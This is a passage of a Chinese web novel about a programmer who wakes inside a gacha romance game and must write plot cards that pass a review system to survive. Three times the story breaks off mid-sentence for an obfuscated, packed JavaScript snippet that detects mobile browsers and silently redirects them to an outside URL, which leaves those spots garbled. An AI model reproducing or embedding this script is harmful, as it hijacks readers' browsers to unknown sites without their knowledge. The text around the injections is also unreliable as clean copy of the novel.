《造物主她今天虐男主了吗gb》 1. 穿进抽卡恋爱游戏 【稿件已驳回!驳回理由:情节过于俗套,不符合逻辑,cp感缺失,请再接再厉!】 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:690!扣除后余额:590!】 郁离枝看着公事公办的拒稿界面,简直想要捶胸顿足。 她想不通她一个二十一世纪的现代码农是为什么要在这个破古代从文还要被审稿系统频频按在地上摩擦的。 是不是哪里不太对劲? 十几个小时之前,郁明曦还如往常一样驾驶着她那辆要每月还贷款的汽车,分秒不差地往公司赶去。 昨晚她加班敲代码几近通宵,在一个十字路口上等红灯时,她顺理成章地眯了个眼。 信号灯闪烁,郁明曦睁开眼不甚清醒地眨了眨,扫了一眼周边路况,机械地启动汽车。 然而一辆大运货车却鬼魅似的从左边道路冲了过来,无视交通信号灯,直直朝郁明曦的车上撞了过来。 郁明曦瞳孔骤缩,猛打方向盘想要规避,然而一切都发生在千钧一发之际,再怎么样也无力回天。 当了一辈子学生牛马党,没想到会是以这样的方式草草结束。 遗憾的想法还没来得及在脑海里成型,郁明曦就失去意识,一命呜呼了。 她没想到还能再睁开眼,而且一睁眼,映入眼帘的就是一派雍锦华贵古色古香的帷帐。 郁明曦看着锦缎上繁复的花纹只觉发晕,撑着坐起身来向屋内看去—— 装饰雅致的书架上放着满满的书,书桌上也堆叠着书册。砚台里,黑色的墨汁已然干涸。 房间里摆放着各式不要钱一样的精品小玩意儿和书画,看样子像是主人有意收集。 俨然一派古韵典雅的书香门第大家闺秀的书房样式。 郁明曦更晕了。她跌跌撞撞走向书桌,从堆叠的书册里找到了一封还未寄出的信。 行云流水的字迹,开头的称谓是“无玦兄长”,落款则是漂亮的小楷。 “郁离枝”。 郁明曦仿佛当头迎了一棒。 原来这里正是她昨晚奋力敲代码修bug的,自己所任职的公司里刚刚开发的,一款名叫《尘缘十六记》的古风抽卡恋爱游戏。 上个星期郁明曦还参加了公司内部专门召开的游戏项目会议,讨论项目进度和方向。 会上各部门组的报告显示,这款游戏的框架机制已经敲定下来了。 当然是以郁明曦为代表的程序员们的先行赶工为代价做出来的。 但由于游戏还处在胚胎阶段,美工和文案都还没有招齐。 美工只有UI部分已经竣工,立绘都还没有画几张;文案也只写了基础的世界观背景和女主信息,连男主都还籍籍无名,更别提主线剧情。 而她,恰好穿成了游戏主角,八大世家之一的文史世家,尘川郁氏家族的幺房独女郁离枝。 其父郁璋是个颇淡泊名利的当朝史官,可以说是家族里混得最差的一个,母亲早逝,父亲放养。 这就导致郁离枝生活条件极其宽裕,甚至可以说得上是自由自在。 郁明曦,或者说是郁离枝心里正波涛汹涌,一个系统音却突然从书桌上传来: 【叮咚~绑定成功!】 【绑定角色:郁离枝】 【绑定职业:文案策划】 【金手指已激活:写作即现实】 郁离枝定睛看去,只见声音是从一个带着卡扣的颇有现代风格的黑色笔记本里传来的。 见鬼了,笔记本会说话? 郁离枝伸手,将那个黑色笔记本拿到眼下打量。 【玩家有什么问题?】 笔记本突兀地出声,把郁离枝吓了一跳。 “你、你刚刚说的是什么意思?” 【玩家职业是文案,需抽取“剧情卡”,依据卡牌提示写就剧情推动主线,笔下剧情即为现实!】 “笔下剧情即为现实?神笔马良?没有这种好事吧?”郁离枝面露狐疑。 一般看上去天上掉馅饼的好事背后都埋有大雷。 【理论上是这样没错!但是玩家作为文案职业,将配备专门的审稿系统,不符合标准的剧情会被驳回!】 我就知道。 【另外,维持玩家金手指和生命体征需消耗绮缘之晶!】 【每日维护费用绮缘之晶*100!绮缘之晶获取途径有签到、每日任务和主线等。】 【请玩家不断积攒绮缘之晶,不断抽取卡牌,写就属于您的尘缘奇旅吧!】 绮缘之晶……这个就是郁离枝在会议上见过的,游戏里氪金代币的名称。很熟悉。 但是,等会?维持生命体征? 也就是说没有了这个什么绮缘之晶我就没命了? 【是的,您可以这么理解。】 郁离枝气笑了。感情她这不是优渥千金模拟器,而是荒野求生大作战啊! 【基本规则已介绍完毕!欢迎玩家来到“韵文之庭”!】 黑色笔记本的无风翻动了开来,平铺的书页之上投射出一个像全息屏幕一样的虚影界面。 刚才就想问了,我写代码可没有写过这些东西啊?什么文案职业什么金手指,现在又来一本会说话的魔书,告诉我什么“韵文之庭”? 这个世界魔改得也太厉害了吧。 名叫“韵文之庭”的界面在郁离枝眼前缓缓展开,原来是一个庭院状的游戏UI界面。 郁离枝:坏了,我在游戏里面玩游戏。 一个新界面弹了出来,伴随着叮铃铃的欢迎音,新手福利朝郁离枝砸了过来。 【新手福利第一天:绮缘之晶*600,R等级卡牌救风尘*1】 【新手福利第二天预告:绮缘之晶*400】 【新手福利共持续五天,请玩家尽情享受!】 【请收取每日登录奖励:绮缘之晶*50】 七彩色的漂亮晶石成堆成堆地出现在界面上。 郁离枝麻木点了“收取”。 一段小动画出现在了界面之上。一个身着古衣的长发男性微微仰头,神情尽显脆弱,身影埋在阴影之中,仰望着于亮处俯视他的女子。 两人一明一暗,构图高低错落。画面流光溢彩,两人俊美的脸上神情真切,颇具感染力。 这就是R卡“救风尘”的卡面立绘。虽然细节处还未完稿,但仍能看出画师画工十足。 这就是郁离枝需要写的第一张卡牌。 郁离枝点进卡牌,界面弹跳出告示:“请以''救风尘''为主题,书写不少于4000字的剧情!”。 除此之外再无其他有用的信息。 郁离枝关掉卡牌,回到UI主界面,点开各个图标了解游戏机制。 打开礼物盒图标: 【活动】 【每日签到】每日可得绮缘之晶*50(已领) 【新手福利】第一天:绮缘之晶*600,R等级卡牌救风尘*1(已领) 领奖励的活动界面,没有什么有用的信息。 打开书册图标: 【任务】 【每日任务】 1.摘录诗句,提升文学素养,绮缘之晶+10 2.完成每日阅读任务,绮缘之晶+10 3.交稿一次,不少于4000字,绮缘之晶+20 【每周任务】 1.过稿总篇数不低于3,绮缘之晶+100 2.抽卡10次,绮缘之晶+100 3.通关主线3次,绮缘之晶+100 【主线任务】 通关序章获得绮缘之晶*500 郁离枝顿住,每日任务加上签到送的结晶就有90个了,那她岂不是可以躺平? 不行,如果新手任务以外再无其他活动的话,就算每天全勤只损耗10结晶,早晚有一天也会坐吃山空的。 看来必须要写文过稿? 郁离枝打开小卡牌图标: 【抽卡】 【普通招募?尘缘一线牵】 【十连消耗绮缘之晶*2000】 【十连招募必得SR卡及以上】 郁离枝生前在游戏公司工作,对她而言这是再熟悉不过的机制,没什么新奇的。 但是一抽200结晶?!太贵了吧?策划的良心呢? 郁离枝吐槽几句,关了抽卡界面。 打开小画笔图标: 【主线】 【序章】 【未解锁】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202071|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【需完成R卡:救风尘解锁】 郁离枝眉头紧锁,事态不容乐观。 她当机立断,推开房门出了布置雅致的庭院,就要往街上走。 “小姐,您要去哪里,请让属下跟随。”一个侍卫模样的男人不知道从哪里冒了出来。 郁离枝拿眼睛上下扫视了此人一圈,她正缺人随行,遂答应了。 郁离枝出了郁府,顺着清冷的街道,往尽头的闹市走去。 集市里的行人骤然变多了,各种各样的摊贩在叫卖着,行人络绎不绝。 郁离枝顺着人流前行,在一个小摊贩前驻足。 既然要学习一个完全没接触过的领域,那么大规模学习是必要的。 书摊小贩见摊前来了一个穿金戴玉的锦丽千金,忙堆着笑热情推销当下时新的话本。 “小姐,我们这里各式各样的话本,包您满意!您想要什么样的呢?”小贩搓着手。 “我需要有''救风尘''情节的。” “好,小姐您看看这本《风月几度红颜泪》,是当下最畅销的艺伎题材话本,情节抓人,文笔一绝!还有这本,这本《僧魁录》,题材新颖,是最近才刚刚上新的……还有……”小贩笑得谄媚。 “你刚刚说的那些,我全要了。”郁离枝自动忽略掉一个比一个大胆的书名,干脆利落道。 “好嘞!小姐真是个爽快人!” 付了银两,郁离枝把书扔给侍从,让侍从拿着。 待到逛完了一整条街,侍从手里已经摞了整整一摞话本。 暮色熹微,郁离枝念着还要回去写稿,没有在外面过多停留就回了府里。 郁离枝秉着烛光,纤纤玉指翻弄着一本接一本书册,书房弥漫着淡淡的熏香。 任谁看了不赞一句好生风雅。 ——如果忽略书的内容的话。 郁离枝生前母胎单身,恋爱经历为0,跟门当户对的相亲对象迅速订婚后,已然过上了举案齐眉,每天说话不超过十句的老夫老妻生活。 简而言之,实在是没体会过什么悸动暧昧。 而且她生前但凡参加语文考试,假如是150分满分,她就从没有考过120分以上。在文科方面也实无天赋,也无一丝兴趣。 现在接触了这些古人的市井小说,不能说是大开眼界,简直是瞠目结舌。 尤其是这个叫什么《僧魁录》的小说,尺度之大竟然是一个隐士僧道救赎一个落魄花魁的狗血故事?!而且情节描写之生动让人不禁怀疑这是作者的亲身经历。 郁离枝悚然。想到自己接下来可能就要靠写这种东西过活,不禁有点戚然了。 不知不觉,烛火已经燃尽几番。郁离枝大致有了眉目,打开那本黑色笔记本,落笔洋洋洒洒写下了一个故事。 她所阅读的这几本话本,无外乎是那些酸朽文人在寒窗赶考之余的意淫调剂。要么就是救赎落魄良女,让她以身相许;要么就是救赎花魁妖女,让她真正做到改邪归正,身心从良。 所谓圣娼二象性。 情节归纳起来也容易,故郁离枝遂直接把话本中的女主角掉包成了一个小倌,按照套路写就了一篇性转版“救风尘”: (青楼宴会之上,赴宴的郁离枝听到了隔壁传来男子的哭喊求救声,遂女侠状破门而入)郁离枝:“何人?” (梨花带雨状)小倌:“女侠救命,这位官人不给钱,还说要把我打死……” (郁离枝路见不平,随从侍卫三下五除二教训了恶霸,小倌星星眼,表示要委身报恩) 郁离枝允了。把人赎了回来。 …… 郁离枝停笔的时候,感觉有一丝丝的不对劲。 怎么有种诡异的违和感? 感觉这故事里没有一丝救赎的感动和情愫的拉扯,全是对扫黑除恶的渴望? 公事公办地好似警察抓犯人。 算了,反正这情节根正苗红一比一复刻,谁都不能说不是救风尘。她郁离枝又不可能是风尘,只能委屈男主当一下风尘咯。 郁离枝放弃思考,二话不说点了提交。 【交稿成功!今日每日任务已完成!】 【审稿中!请稍候……】 【结果已生成!请点击查看审稿结果!】 2. 初次过稿 郁离枝跟拒稿界面面面相觑。 郁离枝:……能给个修改方向不? 【收到玩家请求!当然可以!】 【玩家依卡牌创作的剧情需符合当前世界观背景,情节需有新意忌俗套,人物需符合逻辑忌扁平!请玩家再接再厉!】 郁离枝:……行吧。她毕竟没做过文字相关的工作,初来碰壁是很正常的。 郁离枝听着系统自动扣除绮缘之晶的声音只觉肉疼,但也无法,脑子里一刻不停地规划着明天的安排,渐渐沉入了梦乡。 翌日,郁府正于漆黑中沉睡,连鸡都还没打鸣。 郁离枝一个鲤鱼打挺翻身起来,大手一挥打开黑色笔记本,在书桌子上正襟危坐。 当了一辈子牛马,没想到穿进个游戏里面,还要继续当牛马。 郁离枝翻开黑色笔记本。 【欢迎来到“韵文之亭”!】 【新手福利第二天:绮缘之晶*400】 【新手福利第三天预告:绮缘之晶*400】 【新手福利还将持续三天,请玩家尽情享受!】 【请收取每日登录奖励:绮缘之晶*50】 昨晚临睡前,郁离枝问了审稿系统的拒稿理由。 大致修改意见是关于世界观背景、情节、人设这三个方面的。 目前看起来最好着手的是了解世界观背景。 郁离枝眼睛扫过书架上的书册。女主正好处在文史世家,家里从不缺史书。 郁离枝翻开了一本年代最近的记录,上面记载了一些现今除了朝堂以外的江湖势力的情报。 郁离枝所处的世家,是尘川县域境内最大的世家郁氏,以文史著名,因此人们叫其“尘川郁氏”。 当今江湖除了郁氏,还有七大家族,分别执掌工造、武学、商贸、医术、音律、书画以及道学。 书册上记录着各家族祖上的重大事迹,枯燥得简直比郁明曦前世写的代码还有过之而无不及。 再怎么看不下去,郁离枝也依然强迫自己提取消化这些信息。 这可关系着她的命。 “阿离!别睡了!快来!” “哐哐”两声砸门声响起,一个颇为健气的声音传来。 “快来!告诉你个好消息!阿昔当上武官了!我们兄妹俩今天可要给他好好送个行!” 郁离枝揉揉太阳穴。 兄妹?难道此人就是她昨天在书信上看到的“无玦兄长”? 好死不死,为什么现在来找她。 “公子……小姐今天特意嘱咐了不要去打扰她……”门外侍卫似乎在劝阻。 “岚山,我正要跟你说呢!你们家少主阿昔当上武官了!来来来,我正好约了一桌酒席给阿昔送行,你也去见见你那多日不见的少主!” 郁离枝一头雾水,正欲推脱。 她现在都火烧眉毛了,生命垂危,实在顾不得其他。 “阿昔下午就要走,我跟他说好了在烟香阁给他包场送行……啥?!他怎么这么早就到了?阿离你快起床!我先去接阿昔!” 外面的人叽里咕噜,又如风卷残云一般走了。 郁离枝过去打开房门的时候,门前连一片树叶都没有了,哪里还有人的影子。 看来这鸽子不得不放了。 郁离枝正欲掩门闭关,却突然顿住。 烟香阁?昨日上街,好像听过这个名字。似乎是郁府附近最大的烟花巷内的酒楼。 郁离枝正愁不知道怎么更生动地了解游戏世界观背景,寻找灵感。或许此去一行,会有收获呢? 况且地点正好在烟花之地…… 思及此处,郁离枝立马调转了主意,吩咐刚依照小姐意思夸下海口糊弄推辞完来人的侍卫,护送她前去烟香阁。 侍卫懵逼,侍卫接受,侍卫照做。 于是郁离枝来到了烟香阁门前,眼前—— 富丽楼阁层层立立,娇声倩影莺莺燕燕。 就算是在中午,也是一派热闹景象。 郁离枝:新鲜。 “小姐,烟香阁人多眼杂,务必小心。”侍卫提醒。 郁离枝不管三七二十一,满眼都是对素材的渴望。 可是面上还不得不端得一副千金大小姐的得体做派,冷冷走进烟香阁。 甫一进门,就看见远处酒桌旁一个俊朗男子远远地朝她招手。 “阿离!这里!” 郁离枝走过去,施施然在座位上坐下。 “阿离你还是老样子,阿昔要入朝当官了,你也不祝贺几句!” 座上另一华服男子招呼着让侍卫也落座,侍卫推辞几声,最后拗不过,说了句“谢楚少主”后也落了座。 “楚岚山,这几年不见,你怎么也跟父亲那群老古董学得这么客套了?当年我们几个可是上山摸鸡下河抓鱼,什么事没有做过?怎么今天我去阿离妹那里喊你,你还百般推辞,叫你落座也拖拖拉拉,真不够意思……” 此人心直口快,那个叫“楚少主”的华服男子见气氛不对,忙开始打圆场。 “楚未昔三日前被朝堂选中做武官,今日动身,谢几位特地前来送行!离枝姑娘,无玦兄,还有岚山兄弟,敬你们一杯!” 楚未昔恭恭敬敬呈了一杯酒,站起身来敬酒。 郁离枝也酌满一杯酒,一饮而尽。 四人遂在饭桌上边喝酒吃菜,边有一搭无一搭地聊天。 “没想到阿昔是我们里边最小的,但却是第一个进入朝堂的,你那老爹知道此事不得乐开花?” “我父亲反应一般,倒是母亲很高兴。” “这不对啊,你那老爹不是一向最看重功名利禄了吗?” “父亲好像在愁南边边境的事。近日边境不安,世家动乱,他不敢松懈。” “我听说了,说是南溟沈氏勾结异族,有叛国之嫌,已经被灭族了?” 郁离枝竖起耳朵,这她在史书上怎么没有看到? 看来是刚发生不久的事情。 “嗯,现在朝堂之内有一点手脚不干净的世家都人人自危,惶惶不可终日,听说现在皇帝已经下令查处暮氏一族了。” “暮氏?”郁离枝竹筷一顿,有意想要引导楚未昔多说一点情报。 “画师一族?连他们也被查了?他们能犯什么事?”郁无玦也不解。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202072|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“具体我也不知。” 这个话头就这么搁置了。郁离枝淡定夹菜吃肉,没过多久,三人已然酒足饭饱。 给楚未昔送行后,郁离枝借口摆脱了她那个不着调满心拽着她去玩乐的便宜哥哥,回了府上。 此行也不是全无收获。 看来这世事远不如史书上写得那般太平。 沈氏灭族、暮氏垂危。好在,郁氏看上去根基还算稳定。 但是这与她写稿一事有什么关系呢? 朝不保夕的风尘人士,虽未到商女不知亡国恨的地步,但也可以说是和世家斗争没有半分关系吧。 但是如果只写最普通的风尘人士,那么就难免会落入俗套。 真的没有什么办法了吗? 郁离枝一阵头脑风暴,突然灵光一现。 她敲了敲系统: “我自由创作的范畴权力究竟有多大?既要让我符合世界观背景、又要让我完全虚构故事,有没有一个具体的规范呢?” 【收到问题!解析问题中……】 【好的!回答玩家的问题,关于主线的恋爱剧情,玩家只要在符合世界观背景的条件下创作就视为符合规范,过稿后方能引起剧情线变动!换言之,玩家具有在恋爱剧情创作下的最大权力!只要不触及现存的已有设定,都不视为触犯规范!】 郁离枝快被绕晕了。感觉听了好像没听。 眼看第二日也要将尽,郁离枝放弃思考,打开黑色笔记本落笔写下了今天刚刚想到的故事。 再怎么说,先把每日的码字任务给做了。 郁离枝点了“提交”,看着光屏上跳动的审稿界面,不知名的紧张与期待占据了郁离枝的思绪。 这是这个理工直女目前能想到的最新颖的剧情了,如果这也要被拒稿,郁离枝几乎要黔驴技穷了。 其实也不会,大不了明天郁离枝接着去采风,直到写出能过稿的剧情为止。 郁离枝的思绪在几息之间已然跳跃了几旬,目光盯着审稿界面,却意外地看着页面渐渐跳动,出现了一个大大的绿色对钩。 【审稿完成!结果复查中!】 【题材新颖,虽cp感仍较薄弱,但大致逻辑通畅,具体市场反响有待评估,已过稿!】 【今日每日任务已完成!】 【恭喜玩家完成R卡“救风尘”的撰写任务!】 【剧情构建中……构建完成!剧情线已变动!】 【恭喜玩家达成主线序章开启条件!】 【请玩家于翌日酉时时分前往剧情点:烟香阁触发剧情!】 郁离枝:这也行? 郁离枝十二分的不相信,反复检查了几遍才哆哆嗦嗦关闭了审稿界面。 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1080!扣除后余额:980!】 等到明天,走完主线序章,就能拿到任务奖励500结晶了吧? 运营完抽卡,后面再慢慢推主线,不出意外的情况下,她应该算是能安稳存活了吧? 郁离枝合上黑色笔记本。困意比以往袭来地都要更深重,没有多久,郁离枝就陷入了一片黑甜之中。 3. 救风尘 翌日,傍晚时分,烟香阁。 郁离枝淡定喝茶,邻桌上几个男子看着这容貌出众的落单女子窃窃私语,郁离枝全当听不见。 她在等。 几个呼着酒气的大汉仗着酒劲不清醒,凑到郁离枝桌前,大着舌头不怀好意地搭讪。 “姑娘,一个人啊?” 郁离枝使了一个手势,跟躲在门外暗处蹲点的楚岚山示意先不要动,淡声道:“今日郁家包场做东,宴请贵客。还请各位,勿要打扰。” 说着露出袖内的郁家家纹。 几个半醉的大汉被家纹唬得已经醒了酒,心里犯嘀咕打了退堂鼓。那个搭话的男子却浑然未觉,仍想纠缠。 郁离枝叹了口气,手势微动,示意侍卫前来解决。 没曾想,侍卫还未进门,一道声音响起。 “你们在做什么?” 一身着青蓝水墨色长衫的儒雅男子不知何时走了进来,注意到了这个角落一隅的小事故,皱眉厉声道。 几个醉鬼讪笑了几声,滑不留手地跑了。 “谢公子。” 青衣男子微微颔首当做回应,转身走进了附近一个包厢。 酉时已至,几个徽家子弟走了进来。刚一落座,就瓮声瓮气地大摆酒席,唤来歌姬,戏台上一时歌舞升平。 来了。郁离枝面上淡定呷茶,静观其变。 “既然今日有人做东,那我徽某必定不会却这个盛情!掌柜的,再叫来几个弹琴唱曲的!尤其是新来的姑娘,给哥几个唱上一出!” 掌柜一脸谄笑,接了缠头,忙不迭把满楼的艺伎伶人都叫了来搬到台上。 一时清亮婉转的莺燕之声不绝于耳。郁离枝淡然听曲,暗暗在角落打量台上为数不多的几名男艺人。 此日之宴,正是郁离枝所布下的局。 商贾世家徽氏在江湖上风评一向不好,最爱流连这种烟花场所,作为矛盾的触发者最为合适。 只是郁离枝也尚且不知,她笔下的那位男主角,落到了谁的头上。 郁离枝借喝茶的动作,目光略过台上妆容秾丽的歌姬,在为数不多的几位男性伶人身上扫。 一袭青衣引起了郁离枝的注意。 此人好像就是……刚刚为她解围的男子。原来他是烟香阁的伶人? 青衣男子在一群舞女的身后端坐抚琴,琴声泠泠清越。 看样子不是小巷子出来的平常技艺的琴师。 酒过三巡,歌舞息偃。酒桌上几名男子已开始借着酒意夸下海口。 舞女们跳累了,三两结伴落幕。 席上一时之间除了徽氏商贾激昂的挥斥方遒声之外,再无其他声音。 “哎!客官,实在是不好意思……这个人是刚来我们这儿的乐师,是我们没有教好……客官消消气,您要是实在喜欢,我一会一定把人给您送过去……”掌柜低声下气地给人赔不是。 来了。郁离枝把目光移过去。掌柜在一个醉醺醺的满脸肥油的客人面前点头哈腰,三步之外,几个大汉围着一个伶人男子,看样子是要生擒。 郁离枝不动声色地走过去。 “暮公子,你都到我们这里来卖艺了,你也该知道我们这烟香阁不成文的规定吧?能被客人看上是对你的赏赐,今日我给你加三倍工钱!乖乖跟这位客官回房吧……” 青衣男子紧紧攥着琴,足下未挪动分毫。 “区区一个唱曲的伶人,简直不识抬举!真是不见棺材不落泪!” 掌柜见两方僵持不下,连忙和稀泥稳定局面:“哎是是是……官人您别生气,我马上把人给您绑了送来……” 醉酒客人话锋一转:“你少在这打发我!你个花花肠子打什么主意我能不清楚?你知我是谁?堂堂粮商徽硕!你打听打听哪个当官的不知道我的名字?你不把这人给我摆平了,我明日就联合商队给你这烟香阁断了粮货!看你这小小酒楼还能开到几时!” 掌柜见状吓得战战兢兢,忙吩咐几个打手尽管上,先把人绑了去再说。 郁离枝扫了一眼人群里乔装的郁府侍卫们,觉得时机已然成熟。 不曾想就是这一眼坏了事。 “哎!小刘你为何拿刀!”掌柜惊叫。 只见青衣男子死死护着怀里的琴,以手臂做挡,一道伤痕出现在手臂之上,血液渐渐渗透了衣袖。 “谁知道这个疯子用身体接刀的!”持刀打手叫道。 “就划了一个口子紧张什么?快点趁机把他给我拿下!”徽硕不管三七二十一,醉声醉气地嚷嚷。 眼看正乱作一团,一个温婉沉静的声音响起—— “且慢。” 郁离枝站了出来,温声喝止几名打手。 “几位,和气生财,何必呢?” “哪来的丫头片子,别打扰大爷我办事!”名叫徽硕的醉客睨一眼来人,满不在乎地呲道。 “官人您先别急,您可知,此次商宴,是谁主办的?” “好像是当地世家郁氏发的请帖,但是很奇怪,却今天一席上都没有郁家人出面。”邻桌几人窃窃道。 “关你什么事?总不能是你!”徽硕摇晃着肚子,转身欲教训青衣男子。 郁离枝示意几名乔装的郁家侍卫将徽硕包围起来,挽起袖间家纹,温声: “今日宴会的主办人正是我。官人,您今日砸了我的场子,该怎么算呢?” 徽硕见了家纹,酒已醒了大半,又看见一众训练有素的侍卫围了上来,看上去比烟香阁的打手还要强健几分,登时气焰全无。 “是这伶人不守信在先的!都什么朝代了,还岂能有只卖艺不卖身的说法……”徽硕支支吾吾,闪烁其词。 “说到这伶人,我看这此人也颇有眼缘的,琴艺也算精湛,我有意想将其收到郁氏府内做乐师。徽某今日何不顺水推舟,成一桩美事?此事一成,我郁氏也不会追究今日之事了。” 徽硕哆哆嗦嗦,屁滚尿流答应了。 郁离枝莞尔,丢给掌柜一袋赎金,无视掌柜瞪得像铜铃一样的眼睛,携了青衣男子,在众侍卫的护送下出了烟香阁。 “今日之事,多谢姑娘……”青衣男子微微低头。 “不必多言,我还要感谢暮公子此前为我解围呢。对了,暮公子手上伤势如何?” 这个世界实在是,稍有不慎就会魔改。 她就晚走了几分钟的剧情,男主居然就挂彩了。 “举手之劳,不足挂齿。我无事。倒是姑娘……重金将我赎回,恩重如此,不知何以为报。”青衣男子言辞恳切,一手将衣袖上的血迹盖住,似乎不想让血污脏了郁离枝的眼。 “……”郁离枝看着对面俊美男子敛眸低头,捂着伤口的脆弱样子,不禁觉得自己不做点什么实在过不去了。 这系统生成的颜值,郁离枝有点顶不住。 “暮公子坚持一下,撑到府上就有医生了。” “多谢姑娘,我并无大碍。” “不必过多言谢,比起那些,我更想知道暮公子琴艺非凡,为何在一方小小的烟香阁讨生活?” 对方顿了一顿,目光黯淡几分。 “我……” “暮公子若不欲多言,不说也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202073|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无妨。” “没事的。我本是云亭暮氏独子,近日被仇家针对,无处可去,只好流落到尘川境内,用仅有的本事谋个出路。” 郁离枝作惊讶状,眸中流露出几分哀婉与怜惜。 “竟是如此。暮公子切莫消沉,可在我府上多加修整,想来假以时日,定会云开雨霁。话说,暮公子叫什么?如何称呼?” “多谢姑娘。我名……暮云逸。” 郁离枝点了点头,眼睛瞥向暮云逸怀里抱着的琴。 那古琴被暮云逸牢牢护在怀里,未伤分毫。 “那打手袭击时……暮公子为何不以这琴作挡?物件终究还是不如人金贵的。” “……这是我父亲予我的,是我从家里带出来的唯一的一件东西。父亲若是看到我用这把古琴做这样的营生,恐怕九泉之下也不得安生吧。”暮云逸眼底沉痛。 “……”郁离枝不知不觉间又踩了个雷,却无端生出几分莫名其妙的感同身受来,自己不也是在一个陌生的世界干着受苦受难的营生吗? 一路无话。 二人与几个侍卫一道,回了灯火通明的郁府。 郁离枝特地叫来了郁府的大夫,让他给暮云逸看伤。 大夫说问题不大,稍加包扎即可。 郁离枝福至心灵,拿了纱布,悉心绑与暮云逸伤口之上,边绑边柔声道: “郁府还有几间空房,就把暮公子安排在离我最近的那间吧。有什么需要尽管对侍从提,你是我带来的人,我定不会亏待你。今日已不早了,公子早些歇息。” “不必劳烦姑娘!这种事情我自己来就好……实在是多谢姑娘……” 暮云逸执意推辞,频频后退,但是被郁离枝一把摁住了。 “暮公子今日都道了几遍谢了?今天一事,暮公子就当是对那琴曲的谢礼就好了。” “闻君琴音,心生欢喜。让郁府大小姐听得入耳的琴声可是很少的。” 反正以后就是男主了,多刷点好感准没错。 郁离枝打着算盘,没注意到暮云逸的耳根透出了淡淡的粉色。 郁离枝交代完这些,念及要领取绮缘之晶,已然归心似箭,未停留就走了。 暮云逸张了张嘴,气音还没有发出来,对面的女子已然没了踪影。 暮云逸呆在原地,望着郁离枝离去的背影,指尖轻抚胳膊上的纱布,嘴角噙起一抹浅浅的弧度,不知是满足,还是自嘲。 郁离枝回房掩了门,打开了那个黑色笔记本。 【欢迎来到“韵文之亭”!】 【新手福利第三天:绮缘之晶*400】 【新手福利第四天预告:绮缘之晶*400】 【新手福利还将持续两天,请玩家尽情享受!】 【请收取每日登录奖励:绮缘之晶*50】 【恭喜玩家完成主线序章!请前往任务页面领取奖励!】 郁离枝奖励领到手软。 由于今天没有写稿,每日任务的奖励少了20结晶。 但是也不妨碍郁离枝的账户余额已经逐渐宽裕起来了! 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1950!扣除后余额:1850!】 郁离枝计算了一下,明天新手福利的奖励领取了之后,她就可以抽一发十连试试水了。 至于为什么不单抽……她懂游戏厂商的尿性,十连才有保底SR,到时候单抽打水漂岂不是没地哭? 郁离枝心满意足地入梦了。 殊不知属于她的艰辛写文之路,才刚刚开始。 4. 十连抽卡 天色微明,郁府在晨雾中渐渐苏醒。 侍卫们在武场晨练。楚岚山练完剑,抱臂倚在一旁看着同伴练习。 小姐最近似乎变得……甚是刻苦,整日把自己关进书房里闭关研学。 而且昨天还召集郁府上下近半数的侍卫出动,从烟香阁带回来一个来路不明的男子。 楚岚山目视前方,微微发着呆。 小姐之前从来都是懒散有余自律不足,也从不见其对儿女之事表现出什么兴趣。 似乎从三日前小姐带回来那些话本开始,小姐就有了些微不同。 是哪里不同呢?楚岚山也说不上来。 “岚山,来练拳了!” 楚岚山应了,停了脑中所想,晨练去了。 与此同时,郁离枝书房内—— 【欢迎来到“韵文之亭”!】 【新手福利第四天:绮缘之晶*400】 【新手福利第五天预告:SR等级卡牌白月光替身*1】 【请收取每日登录奖励:绮缘之晶*50】 这已经是郁离枝穿到这个游戏里的第四天了。 郁离枝的账户余额已然是仓廪充实,数量来到了2300。 郁离枝点开主线图标: 【第一章】 【未解锁】 【需完成R卡:日久生情解锁】 而日久生情R卡,现在正躺在卡池里。 这就是今天她要做的大事,没错,是抽卡! 郁离枝点开抽卡界面,一派古色古香的双人立绘画面在界面上频频闪动,仿佛里面自有一个美轮美奂的世界。 事关郁离枝赖以生存的绮缘之晶,还是2000个这样狮子大开口的数量,郁离枝再三确认,慎之又慎。 郁离枝打开概率公示页面,其上写着: 50绮缘之晶概率:54.6%,R等级卡牌概率:30%,SR等级卡牌概率:15%,SSR等级卡牌概率:0.4%。 十连抽必得SR,SSR卡获取机制保底50抽。 规则清晰明了,没有坑。 郁离枝牙一咬心一横,砸了一发十连下去。 页面迸发出一阵炫目的七彩光,光芒之后是一段色彩明丽的动画。 